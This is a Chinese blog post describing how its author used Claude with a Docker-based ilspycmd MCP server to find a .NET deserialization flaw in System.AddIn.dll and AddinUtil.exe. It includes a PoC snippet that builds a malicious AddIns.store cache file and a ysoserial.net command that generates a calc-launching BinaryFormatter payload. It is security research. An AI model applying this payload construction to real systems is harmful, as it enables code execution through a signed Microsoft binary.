利用Claude挖掘.NET反序列化漏洞的技术实践

本文详细介绍了如何利用Claude AI和模型上下文协议(MCP)挖掘.NET程序集中的反序列化漏洞,包括搭建MCP服务器、分析已知漏洞System.AddIn.dll、发现新的攻击路径以及构建有效载荷的完整技术流程。

利用Claude挖掘反序列化漏洞

设置环境

在开始漏洞挖掘之前,我们需要一个支持Claude反编译.NET程序集的MCP服务器。虽然通常使用dotPEAK进行.NET二进制文件逆向,但这是一个仅限Windows的工具。幸运的是,ilspycmd可以在Mac/Linux上运行。

通过修复ilspycmd-docker仓库中的Dockerfile构建错误:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
FROM mcr.microsoft.com/dotnet/sdk:8.0

RUN useradd -m -s /bin/bash ilspy
USER ilspy

WORKDIR /home/ilspy

RUN dotnet tool install -g ilspycmd

RUN echo 'export PATH="$PATH:/home/ilspy/.dotnet/tools/"' >> /home/ilspy/.bashrc

ENTRYPOINT [ "/bin/bash", "-l", "-c" ]

使用以下命令构建新镜像:

1
docker build -t ilspycmd .

构建MCP服务器

使用Python构建MCP服务器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from mcp.server.fastmcp import FastMCP
import subprocess
import os

server = FastMCP("ilspy docker")

@server.prompt()
def setup_prompt() -> str:
    return """
    您可以使用以下命令通过ilspy反编译.NET程序集:
    - decompile(file: str, output_folder: str) -> int: 反编译指定路径的文件。
    返回值为成功代码,0表示运行成功
    """

@server.tool()
def run_ilspycmd_docker(exe_path, output_folder) -> int:
    """
    在Docker容器中运行ilspycmd反编译DLL
    
    参数:
        dll_path (str): 要反编译的DLL文件路径
        output_folder (str): 反编译代码输出文件夹
    
    返回:
        tuple: (返回码, 标准输出, 标准错误)
    """
    # 获取绝对路径
    input_dir = os.path.abspath(os.path.dirname(exe_path))
    output_dir = os.path.abspath(output_folder)
    exe_filename = os.path.basename(exe_path)
    
    # 确保输出目录存在
    os.makedirs(output_dir, exist_ok=True)
    
    # 创建容器内输入目录
    container_input_dir = "/decompile_in"
    container_output_dir = "/decompile_out"
    
    ilspy_cmd_path = "/home/ilspy/.dotnet/tools/ilspycmd"
    ilspy_command = f"{ilspy_cmd_path} -p -o {container_output_dir} {container_input_dir}/{exe_filename}"
    
    # 构建Docker命令
    docker_cmd = [
        "docker", "run", "--rm",
        "-v", f"{input_dir}:{container_input_dir}",
        "-v", f"{output_dir}:{container_output_dir}",
        "ilspycmd", 
        ilspy_command 
    ]
    
    # 运行命令
    process = subprocess.run(
        docker_cmd,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )
    return process.returncode

if __name__ == "__main__":
    # 初始化和运行服务器
    server.run(transport='stdio')

配置Claude Desktop

编辑claude_desktop_config.json文件添加MCP服务器配置:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
    "mcpServers": {
        "ilspy": {
            "command": "/Users/james/Library/Python/3.9/bin/uv",
            "args": [
                "--directory",
                "/Users/james/Research/MCP/ilspy_docker",
                "run",
                "ilspy.py"
            ]
        }
    }
}

查找已知漏洞

测试Claude能否发现System.AddIn.dll中的已知反序列化漏洞。Claude成功识别出.NET远程处理中的不安全反序列化调用,特别是TypeFilterLevel.Full的使用。

经过调整提示词和明确要求审查所有文件后,Claude最终识别出已知的不安全反序列化调用,并认识到缓存文件可能不受信任。

识别攻击路径

通过指导Claude识别从AddinUtil.exe到不安全代码的路径,Claude成功识别出可能的入口点,包括pipelineroot标志。

构建漏洞利用

Claude生成的概念验证代码包含创建恶意AddIns.store文件的逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 创建符合ReadCache<T>期望格式的AddIns.store文件
print("[+] 创建恶意AddIns.store文件")
cache_file_path = os.path.join(output_dir, "AddIns.store")

with open(cache_file_path, 'wb') as f:
    # 写入格式版本 (int32 = 1)
    f.write(struct.pack("<i", 1))
    # 写入有效载荷大小 (int64)    
    f.write(struct.pack("<q", len(payload_data)))
    # 写入有效载荷数据
    f.write(payload_data)

发现新漏洞

测试Claude能否识别pipelineroot标志的攻击路径。Claude生成了详细的漏洞解释和Python代码,但在实际测试中发现需要创建完整的文件夹结构才能成功利用。

最终验证

使用ysoserial.net生成有效载荷:

1
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c calc -o raw > e:\tools\payload.bin

通过Visual Studio和dotPeek进行调试,发现Claude忽略了创建AddIns目录的步骤。修复后成功执行calc.exe。

技术总结

本文展示了如何:

  1. 使用MCP服务器赋予Claude分析.NET程序集的能力
  2. 发现Microsoft签名二进制文件中的已知漏洞
  3. 构建针对pipelineroot攻击路径的工作概念验证
  4. 通过调试和代码修正实现成功的漏洞利用

完整的概念验证代码可在提供的链接中找到。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计